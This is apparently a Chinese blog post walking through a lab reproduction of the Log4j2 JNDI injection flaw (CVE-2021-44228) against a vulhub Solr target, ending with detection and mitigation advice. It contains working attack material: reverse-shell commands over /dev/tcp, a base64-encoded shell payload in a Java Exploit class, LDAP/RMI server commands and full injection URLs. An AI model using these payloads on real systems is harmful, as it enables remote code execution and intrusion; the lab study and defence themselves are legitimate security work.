根据这个大佬的文章进行学习的
https://blog.csdn.net/Bossfrank/article/details/130148819
一:漏洞概述
Log4j漏洞是由于Log4j 2在处理处罚日志消息中的JNDI(Java Naming and Directory Interface)查找时存在的不安全实现而引发的。攻击者可以通过特制的日志消息使用此漏洞,从而使Log4j在处理处罚日志消息时,连接到恶意的LDAP服务器并执行恣意代码。
二:漏洞原理
攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目次服务…本例为ldap)查找资源,由于lookup的出栈没做限定,终极指向了攻击者摆设好的恶意站点,下载了远程的恶意class,终极造成了远程代码执行rce。
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被更换为对应的java版本。这样如果不对lookup的出栈进行限定,就有大概让查询指向任何服务(大概是攻击者摆设好的恶意代码)。
攻击者可以使用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}内里构造payload,调用JNDI服务(LDAP)向攻击者提前摆设好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
三:漏洞使用
攻击者使用该漏洞的步调如下:
- 构造恶意日志消息:攻击者创建一个包含JNDI查找请求的特制字符串,例如${jndi:ldap://attacker.com/a}。
- 日志记载:该字符串被应用程序记载到日志中。
- JNDI查找:Log4j在处理处罚这条日志消息时,会解析JNDI查找请求并尝试连接到指定的LDAP服务器。
- 恶意代码执行:如果LDAP服务器返回一个恶意的Java类,Log4j将加载并执行该类中的代码,从而使攻击者能够在目标系统上执行恣意代码。
lookup功能:
- Lookup 是一种查找机制,用于动态获取和更换日志记载中的变量或属性的值。它提供了一种机动的方式,可以在日志消息中引用、解析和插入各种上下文相干的信息。
- log4j中除了sys解析器外,还有很多其他类型的解析器。其中,jndi 解析器就是本次漏洞的源头
JNDI解析器:
- JND全称为Java定名和目次接口,提供了定名服务和目次服务,允许从指定的远程服务器获取并加载对象,JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
- 正常的包含jndi的日志记载方式如下:
- logger.info("system propety: ${jndi:schema://url}");
- log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被更换为对应的java版本。这样如果不对lookup的出栈进行限定,就有大概让查询指向任何服务(大概是攻击者摆设好的恶意代码)。
- jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。
- 攻击者如何控制服务器上记载的日志内容呢?
- 大部分web服务程序都会对用户输入进行日志记载。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。
ldap服务:
LDAP(轻型目次访问协议)是一个开放的,中立的,工业标准的应用协议,
通过IP协议提供访问 控制和维护分布式信息的目次信息。
目次是一个为查询、欣赏和搜刮而优化的专业分布式数据库,它呈 树状结构组织数据,就好象Linux/Unix系统中的文件目次一样。
RMI:
RMI(远程方法调用):它是一种机制,能够让在某个java假造机上的对象调用另一个Java假造机 的对象的方法。
四:漏洞复现
1、漏洞环境
启动靶机
cd /vulhub-master/log4j/CVE-2021-44228
docker-compose up -d
碰到的问题
docker-compose up -d拉取不了
- 报错表现
- 意思就是docker在守护进程连接的时候,TLs三次握手失败,属于是网络不行
一开始认为是DNS解析地址错误
招到地址解析文件,修改为如下所示
重新拉取,失败
然后,继续百度找大佬解决问题
发现可以添加国内的加速服务,下令如下
起首需要创建daemon.json
vim /etc/docker/daemon.json创建并编辑,在复制下面代码
`{
点击查看代码- `{
- "registry-mirrors": ["https://registry.docker-cn.com","https://y4xpdpoy.mirror.aliyuncs.com"]
- }`
复制代码 然后重启服务
systemctl restart docker systemctl daemon-reload
成功拉取镜像
2、访问靶机
ip:8983访问
访问成功
3、登录网站dns回显网站
http://ceye.io/
根据身份标识符,构造payload,查看cecy是否返回数据。
4、DNS回显验证
http://111.173.104.122:8983/solr/admin/cores?action=${jndi:ldap://w3caue.ceye.io}
成功回显
5、反弹shell方法一之编写恶意class文件
1、编写以下的恶意文件Exploit.java
bash -i >& /dev/tcp/47.236.108.184/7777 0>&1我们需要反弹shell到47.236.108.184的7777端口,以是下令这样写
2、然后对上述下令进行base64编码,这里给出一个网站,可以直接进行payload的编码:https://ares-x.com/tools/runtime-exec
3、编码结果为:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTA4LjE4NC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
4、然后可以写恶意文件了
点击查看代码- import java.lang.Runtime;
- import java.lang.Process;
- public class Exploit {
- public Exploit(){
- try{
- Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
- }catch(Exception e){
- e.printStackTrace();
- }
- }
- public static void main(String[] argv){
- Exploit e = new Exploit();
- }
- }
复制代码 5、然后我们把Exploit.java编译为Exploit.class,最好包管javac的版本为1.8
6、把编译好的文件放到攻击机上
接下来,我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启
https://www.cnblogs.com/cute-puli/p/14373826.html 工具教程
下令如下
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.36.161:7777/#Exploit" 1389
7、接着在攻击机用nc监听
nc -lvvp 7777
8、 最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:
${jndi:ldap://192.168.36.161:1389/Exploit}
完备的url为:
http://192.168.36.130:8983/solr/admin/cores?action=${jndi:ldap://192.168.36.161:1389/Exploit}
成功反弹shell
可以看到最后两条日志信息,靶机已经通过GET方法请求了我们的恶意代码Exploit.class,状态码为200,成功响应,此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:
6、反弹shell方法二之快捷工具
1、用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,地址为https://github.com/welk1n/JNDI-Injection-Exploit/releases
使用此工具即可不消编写.class文件,直接一键摆设
2、然后我们使用JNDI注入工具把这个反弹shell下令摆设到LDAP服务上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar地点目次运行如下下令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的下令的base64编码" -A "攻击机ip"
可以看到,这里已经一键摆设好了RMI和LDAP服务的站点,并给出了路径,JDK1.8的版本为ldap://192.168.200.131:1389/Exploit,JDK1.7的版本为:ldap://192.168.200.131:1389/Exploit7
3、然后用nc监听
nc -lvvp 6666
4、构造pyload
http://192.168.36.130:8983/solr/admin/cores?action=${rmi:ldap://192.168.36.161:1099/Exploit}
5、成功反弹shell
6、最后关闭靶场
docker-compose down
复结结束
结果:相识到log4j2的原理及使用过程,以及知道了如何识别log4j2漏洞攻击的特性
如何排查是否受到了攻击?
排查方法
检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现大概的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。
如何对log4j2的攻击进行防御?
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不大概请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |